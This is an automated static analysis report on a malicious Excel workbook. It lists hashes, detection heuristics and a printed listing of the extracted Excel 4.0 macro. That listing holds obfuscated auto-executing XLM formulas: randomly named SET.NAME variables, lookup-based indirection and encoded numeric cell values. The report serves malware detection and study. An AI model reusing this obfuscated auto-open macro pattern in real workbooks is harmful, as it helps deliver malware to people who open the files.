Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 eb84e05f6f48a893…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:47:05 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: 0b5dea56060951e321d82f643f5f398e SHA-1: 2b3ac452764fd850b20dc1acfda4cd86f3c9a4ec SHA-256: eb84e05f6f48a893b6b341ffa1bd20f566333bd5118b35aed63066ea6ab736f7
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6681 bytes
SHA-256: 2efb7af6f8eed7be81c3ee0530c931eb2ee8202b6fc7a2c4e45b14a22569b226
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  rWb
' 0018     21 LABEL : Cell Value, String Constant - Ajpxgb len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!H156 
' 0018     21 LABEL : Cell Value, String Constant - BeAAcd len=0 
' 0018     24 LABEL : Cell Value, String Constant - dgBAXcXMx len=0 
' 0018     21 LABEL : Cell Value, String Constant - efZXdo len=0 
' 0018     26 LABEL : Cell Value, String Constant - ehDfZOwmEFC len=0 
' 0018     26 LABEL : Cell Value, String Constant - EuJIDwisHHX len=0 
' 0018     24 LABEL : Cell Value, String Constant - gYyjqEXlP len=0 
' 0018     26 LABEL : Cell Value, String Constant - HypBgPvgeWe len=0 
' 0018     20 LABEL : Cell Value, String Constant - Izlay len=0 
' 0018     26 LABEL : Cell Value, String Constant - jFmsbNWKhEP len=0 
' 0018     27 LABEL : Cell Value, String Constant - oYJQldYdDoZc len=0 
' 0018     20 LABEL : Cell Value, String Constant - PBobw len=0 
' 0018     24 LABEL : Cell Value, String Constant - QGSjVAgHz len=0 
' 0018     25 LABEL : Cell Value, String Constant - rhACPlBINa len=0 
' 0018     20 LABEL : Cell Value, String Constant - taTFG len=0 
' 0018     22 LABEL : Cell Value, String Constant - TvTpEdP len=0 
' 0018     27 LABEL : Cell Value, String Constant - xQGOkgDHNhzC len=0 
' 0018     23 LABEL : Cell Value, String Constant - YPFCxSzd len=0 
' 0018     24 LABEL : Cell Value, String Constant - YSkoIaRuB len=0 
' 0018     22 LABEL : Cell Value, String Constant - zsxODSx len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  rWb,H68,"SET.NAME("xQGOkgDHNhzC",0+VALUE("0"))",""
'  rWb,H70,"SET.NAME("HypBgPvgeWe",xQGOkgDHNhzC)",""
'  rWb,H74,"SET.NAME("taTFG",xQGOkgDHNhzC)",""
'  rWb,H79,"SET.NAME("PBobw",COUNTA(QGSjVAgHz))",""
'  rWb,H81,"SET.NAME("gYyjqEXlP",COUNTA(dgBAXcXMx))",""
'  rWb,H86,[],""
'  rWb,H89,"SET.NAME("ehDfZOwmEFC","")",""
'  rWb,R89,"",984.00000000000000000000
'  rWb,R90,"",-656.00000000000000000000
'  rWb,R91,"",808.00000000000000000000
'  rWb,H92,"HypBgPvgeWe",""
'  rWb,R92,"",793.00000000000000000000
'  rWb,R93,"",-440.00000000000000000000
'  rWb,R94,"",-108.00000000000000000000
'  rWb,H96,"SET.NAME("efZXdo",HLOOKUP("*",QGSjVAgHz,HypBgPvgeWe,FALSE))",""
'  rWb,H99,"jFmsbNWKhEP",""
'  rWb,H103,"SET.NAME("YPFCxSzd",xQGOkgDHNhzC)",""
'  rWb,H105,[],""
'  rWb,H109,"YPFCxSzd",""
'  rWb,H114,"EuJIDwisHHX",""
'  rWb,H118,"Izlay",""
'  rWb,H122,"Ajpxgb",""
'  rWb,H124,"SET.NAME("BeAAcd",VALUE(HLOOKUP("*",dgBAXcXMx,Ajpxgb,FALSE)))",""
'  rWb,H129,"zsxODSx",""
'  rWb,H131,"ehDfZOwmEFC",""
'  rWb,H134,"taTFG",""
'  rWb,H139,NEXT(),""
'  rWb,H142,"TvTpEdP",""
'  rWb,H145,[],""
'  rWb,H147,"oYJQldYdDoZc",""
'  rWb,H149,NEXT(),""
'  rWb,H154,RETURN(),""
'  rWb,H184,"SET.NAME("YSkoIaRuB",H68)",""
'  rWb,H189,"QGSjVAgHz",""
'  rWb,H193,"SET.NAME("dgBAXcXMx",R74C15)",""
'  rWb,H198,"SET.NAME("oYJQldYdDoZc",206)",""
'  rWb,H203,"SET.NAME("rhACPlBINa",8)",""
'  rWb,H205,YSkoIaRuB(),""
'  rWb,H206,HALT(),""